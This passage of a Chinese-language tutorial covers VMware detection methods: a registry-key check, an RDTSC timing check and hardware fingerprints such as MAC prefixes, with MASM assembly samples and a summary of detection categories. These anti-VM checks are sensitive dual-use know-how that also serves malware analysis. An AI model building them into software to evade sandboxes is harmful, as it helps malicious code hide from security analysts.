szCaption db "VMware Detector ",0
szInside db "Inside VMware!",0
szOutside db "Native OS!",0
szSubKey db "software\VMWare, Inc.\VMware tools",0
hKey dd ?

.code
start:
invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, addr szSubKey, 0,\
KEY_WRITE or KEY_READ, addr hKey
.if eax == ERROR_SUCCESS
invoke MessageBox, NULL,addr szInside, addr szCaption, MB_OK
.else
invoke MessageBox, NULL,addr szOutside, addr szCaption, MB_OK
.endif
invoke RegCloseKey,hKey
invoke ExitProcess,NULL
end start

测试结果如图5所示:



图5

方法六:基于时间差的检测方式

本方法通过运行一段特定代码,然后比较这段代码在虚拟机和真实主机之中的相对运行时间,以此来判断是否处于虚拟机之中。这段代码我们可以通过RDTSC指令来实现,RDTSC指令是用于将计算机启动以来的CPU运行周期数存放到EDX:EAX里面,其中EDX是高位,而EAX是低位。下面我们以xchg ecx, eax 一句指令的运行时间为例,这段指令在我的真实主机windows 7系统上的运行时间为0000001E,如图6所示:



图6

而该指令在虚拟机WinXP下的运行时间为00000442,如图7所示:



图7

两者之间的运行时间明显差别很多,在虚拟机中的运行速度远不如真实主机的,一般情况下,当它的运行时间大于0xFF时,就可以确定它处于虚拟机之中了,因此不难写出检测程序,具体实现代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
.586p
.model flat, stdcall
option casemap:none

include windows.inc
include kernel32.inc
include user32.inc

includelib kernel32.lib
includelib user32.lib


.data
szTitle db "VMDetect With RDTSC", 0h
szInsideVM db "Inside VMware!", 0h
szOutsideVM db "Native OS!", 0h

.code

start:
RDTSC
xchg ecx, eax
RDTSC
sub eax, ecx
cmp eax, 0FFh
jg Detected

invoke MessageBox, 0, offset szOutsideVM, offset szTitle, 0
ret

Detected:
invoke MessageBox, 0, offset szInsideVM, offset szTitle, 0
ret
end start

测试结果如图8所示:



图8

方法七:利用虚拟硬件指纹检测虚拟机

利用虚拟硬件指纹也可用于检测虚拟机的存在,比如VMware默认的网卡MAC地址前缀为“00-05-69,00-0C-29或者00-50-56”,这前3节是由VMware分配的唯一标识符OUI,以供它的虚拟化适配器使用。在我的VMWare WinXP下的MAC地址为00-0C-29-5B-D7-67,如图9所示:



图9

但由于这些可经过修改配置文件来绕过检测。另外,还可通过检测特定的硬件控制器,BIOS,USB控制器,显卡,网卡等特征字符串进行检测,这些在前面使用注册表检测方法中已有所涉及。另外之前在看雪论坛上也有朋友提到通过检测硬盘Model Number是否含有“vmware”或“virtual”等字样来实现检测虚拟机的功能,网址见这(附源码):http://bbs.pediy.com/showthread.php?t=110046。

总结

国外SANS安全组织的研究人员总结出当前各种虚拟机检测手段不外乎以下四类:

● 搜索虚拟环境中的进程,文件系统,注册表;
● 搜索虚拟环境中的内存
● 搜索虚拟环境中的特定虚拟硬件
● 搜索虚拟环境中的特定处理器指令和功能

因为现代计算系统大多是由文件系统,内存,处理器及各种硬件组件构成的,上面提到的四种检测手段均包含了这些因素。纵观前面各种检测方法,也均在此四类当中。除此之外,也有人提出通过网络来检测虚拟机,比如搜索ICMP和TCP数据通讯的时间差异,IP ID数据包差异以及数据包中的异常头信息等等。随着技术研究的深入,相信会有更多的检测手段出现,与此同时,虚拟机厂商也会不断进化它们的产品,以增加anti-vmware的难度,这不也正是一场永无休止的无烟战争!